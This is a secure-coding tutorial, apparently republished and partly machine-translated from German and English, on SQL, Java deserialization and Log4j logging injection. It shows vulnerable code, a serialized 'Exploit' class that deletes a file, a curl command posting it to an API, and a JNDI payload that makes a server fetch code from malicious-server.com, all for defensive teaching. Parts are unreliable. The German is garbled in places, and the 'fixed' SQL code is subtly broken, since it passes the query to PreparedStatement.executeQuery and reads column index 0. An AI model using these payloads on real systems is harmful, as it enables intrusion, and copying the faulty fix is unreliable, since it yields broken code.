Heim  >  Artikel  >  Java  >  Die größten Sicherheitslücken, die sich derzeit in Ihrem Code verbergen – und wie Sie sie beheben können

Die größten Sicherheitslücken, die sich derzeit in Ihrem Code verbergen – und wie Sie sie beheben können

WBOY
WBOYOriginal
2024-08-30 06:01:20760Durchsuche

Im Jahr 2019 setzte ein berühmter Verstoß im berühmten Spiel Fortnite Berichten zufolge Millionen von Spielern dem Risiko von Malware aus. Der Vorfall machte deutlich, wie wichtig es ist, SQL-Datenbanken ordnungsgemäß zu sichern.

Aber das ist kein Einzelfall.

Es kam zu mehreren Angriffen mit SQL-Injection, wie beispielsweise bei Tesla im Jahr 2018. In diesem Fall betraf ein weiterer SQL-Injection-Angriff die Kubernetes-Konsole von Tesla und verursachte finanzielle Verluste aufgrund nicht autorisierter Krypto-Mining-Aktivitäten.

Aber hier geht es nicht nur um SQL-Injection.

Es gibt andere Angriffsvektoren, unter denen Ihr Code derzeit leiden kann, so wie große Unternehmen in der Vergangenheit gelitten haben.

Wie der im Jahr 2021 in der Log4J-Bibliothek namens Log4Shell, der einen Logging-Injection-Angriff beinhaltete, der bis heute Millionen von Servern weltweit betraf, oder der im Jahr 2022 in Atlassian Jira, der einen Deserialisierungsangriff beinhaltete, der mehrere Versionen von Jira betraf und vollständig aufgab Kontrolle an den Angreifer.

Es könnte jedem passieren, auch Ihnen.

In diesem Artikel bespreche ich die drei häufigsten Angriffe im Code: SQL-Injection, Deserialization-Injection und Logging-Injection und wie man sie löst.

SQL-Injection

Anwendungen, die Informationen in Datenbanken speichern, verwenden häufig benutzergenerierte Werte, um Berechtigungen zu prüfen, Informationen zu speichern oder einfach in Tabellen, Dokumenten, Punkten, Knoten usw. gespeicherte Daten abzurufen.

In dem Moment, in dem unsere Anwendung diese Werte verwendet, könnte eine unsachgemäße Verwendung es Angreifern ermöglichen, zusätzliche Abfragen an die Datenbank zu senden, um unzulässige Werte abzurufen, oder sogar diese Tabellen zu ändern, um Zugriff zu erhalten.

Der folgende Code ruft einen Benutzer aus der Datenbank ab und berücksichtigt dabei den auf der Anmeldeseite angegebenen Benutzernamen. Alles scheint in Ordnung zu sein.

Top Security Flaws hiding in your code right now - and how to fix them

public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users " +
                   "WHERE username='" + user + "' AND password='" + pass + "'";
       Statement statement = connection.createStatement();
       ResultSet resultSet = statement.executeQuery(query);
       List users = new ArrayList();
       while (resultSet.next()) {
           users.add(resultSet.getString(0));
       }
       return users;
   }

Wenn der Angreifer jedoch Injektionstechniken verwendet, führt dieser Code mithilfe von String-Interpolation zu unerwarteten Ergebnissen, sodass sich der Angreifer bei der Anwendung anmelden kann.

Top Security Flaws hiding in your code right now - and how to fix them

Um dieses Problem zu beheben, würden wir diesen Ansatz von der Verwendung der Zeichenfolgenverkettung zur Parameterinjektion ändern. Tatsächlich ist die String-Verkettung im Hinblick auf Leistung und Sicherheit im Allgemeinen eine schlechte Idee.

String query = "SELECT userid FROM users " +
               "WHERE username='" + user + "' AND password='" + pass + "'";

Das Ändern der Einbeziehung der Parameterwerte direkt in den SQL-String in Parameter, auf die wir später verweisen können, löst das Problem gehackter Abfragen.

 String query = "SELECT userid FROM users WHERE username = ? AND password = ?";

Unser fester Code sieht so aus, mit der PrepareStatement-Anweisung und der Werteinstellung für jeden Parameter.

    public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
       try (PreparedStatement statement = connection.prepareStatement(query)) {
           statement.setString(1, user);
           statement.setString(2, pass);
           ResultSet resultSet = statement.executeQuery(query);
           List users = new ArrayList();
           while (resultSet.next()) {
               users.add(resultSet.getString(0));
           }
           return users;
       }
    }

Die SonarQube- und SonarCloud-Regeln, die bei der Erkennung der SQL-Injection-Schwachstelle helfen, finden Sie hier

Deserialisierungsinjektion

Deserialisierung ist der Prozess der Konvertierung von Daten aus einem serialisierten Format (wie einem Bytestream, einer Zeichenfolge oder einer Datei) zurück in ein Objekt oder eine Datenstruktur, mit der ein Programm arbeiten kann.

Zu den üblichen Verwendungszwecken der Deserialisierung gehören Daten, die zwischen APIs und Webdiensten in Form von JSON-Strukturen gesendet werden, oder in modernen Anwendungen, die RPC (Remote Procedure Calls) in Form von Protobuf-Nachrichten verwenden.

Das Konvertieren der Nachrichtennutzlast in ein Objekt kann schwerwiegende Schwachstellen mit sich bringen, wenn keine Bereinigungs- oder Prüfschritte implementiert werden.

   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
       ServletInputStream servletIS = request.getInputStream();
       ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
       User user                 = (User) objectIS.readObject();
     }
   class User implements Serializable {
       private static final long serialVersionUID = 1L;
       private String name;

       public User(String name) {
           this.name = name;
       }

       public String getName() {
           return name;
       }
   }

Hier können wir sehen, dass wir objectIS verwenden, einen direkten Wert, der vom Benutzer im Anforderungseingabestream kommt, und ihn in ein neues Objekt umwandeln.
Wir gehen davon aus, dass der Wert immer eine der Klassen ist, die unsere Anwendung verwendet. Klar, unser Kunde würde nie etwas anderes schicken, oder? Würden sie?

Was aber, wenn ein böswilliger Client eine andere Klasse in der Anfrage sendet?

   public class Exploit implements Serializable {
       private static final long serialVersionUID = 1L;

       public Exploit() {
           // Malicious action: Delete a file
           try {
               Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }

In diesem Fall haben wir eine Klasse, die eine Datei während des Standardkonstruktors löscht, was beim vorherigen readObject-Aufruf geschieht.

Der Angreifer muss diese Klasse nur serialisieren und an die API senden:

   Exploit exploit = new Exploit();
   FileOutputStream fileOut = new FileOutputStream("exploit.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(exploit);
...
$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user

Glücklicherweise gibt es eine einfache Möglichkeit, dieses Problem zu beheben. Wir müssen prüfen, ob die zu deserialisierende Klasse von einem der zulässigen Typen ist, bevor wir das Objekt erstellen.

Im obigen Code haben wir einen neuen ObjectInputStream mit überschriebener „resolveClass“-Methode erstellt, der eine Prüfung des Klassennamens enthält. Wir verwenden diese neue Klasse, SecureObjectInputStream, um den Objektstream abzurufen. Wir führen jedoch eine Überprüfung der zulässigen Liste durch, bevor der Stream in ein Objekt (Benutzer) eingelesen wird.

 public class SecureObjectInputStream extends ObjectInputStream {
   private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
   @Override
   protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
     if (!ALLOWED_CLASSES.contains(osc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization", osc.getName());
     }
     return super.resolveClass(osc);
   }
 }
...
 public class RequestProcessor {
   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
     ServletInputStream servletIS = request.getInputStream();
     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
     User input                 = (User) objectIS.readObject();
   }
 }

Die SonarCloud/SonarQube- und SonarLint-Regeln, die dabei helfen, die Schwachstelle durch Deserialisierungsinjektion zu erkennen, finden Sie hier

Logging injection

A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.

Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.

But, they can also become an attack vector.

Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.

We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.

Let’s consider the following code, where we take a value from the user and log it.

   public void doGet(HttpServletRequest request, HttpServletResponse response) {
       String user = request.getParameter("user");
       if (user != null){
         logger.log(Level.INFO, "User: {0} login in", user);
       }
   }

It looks harmless, right?

But what if the attacker tries to log in with this user?

 john login in\n2024-08-19 12:34:56 INFO User 'admin' login in

Top Security Flaws hiding in your code right now - and how to fix them

It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused

   2024-08-19 12:34:56 INFO User 'john' login in 
   2024-08-19 12:34:56 ERROR User 'admin' login in 

Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.

    $ { jndi:ldap://malicious-server.com/a}

But we can prevent these issues easily.

Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.

     // Log the sanitised username
     String user = sanitiseInput(request.getParameter("user"));
   }

  private String sanitiseInput(String input) {
     // Replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceAll("[\\n\\r]", "_");
     }
     return input;
   }

The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.

   2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in 

In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.

     -Dlog4j2.formatMsgNoLookups=true

If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
   // Define your list of allowed JNDI URLs
   private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @Override
   public Context getInitialContext(Hashtable environment) throws NamingException {
       String providerUrl = (String) environment.get(Context.PROVIDER_URL);

       if (isAllowed(providerUrl)) {
           return new InitialContext(environment); 
       } else {
           throw new NamingException("JNDI lookup " + providerUrl + " not allowed");
       }
   }

   private boolean isAllowed(String url) {
       if (url == null) {
           return false;
       }
       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
           if (url.startsWith(allowedPrefix)) {
               return true;
           }
       }
       return false;
   }
}

And configure our system to use the filtering context factory.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory

The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here

Conclusion

Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.

From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.

By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.

Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.

Sonar provides free and opensource tools like SonarLint, SonarQube, and SonarCloud that can detect, warn about, and suggest fixes for all these vulnerabilities.

Das obige ist der detaillierte Inhalt vonDie größten Sicherheitslücken, die sich derzeit in Ihrem Code verbergen – und wie Sie sie beheben können. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn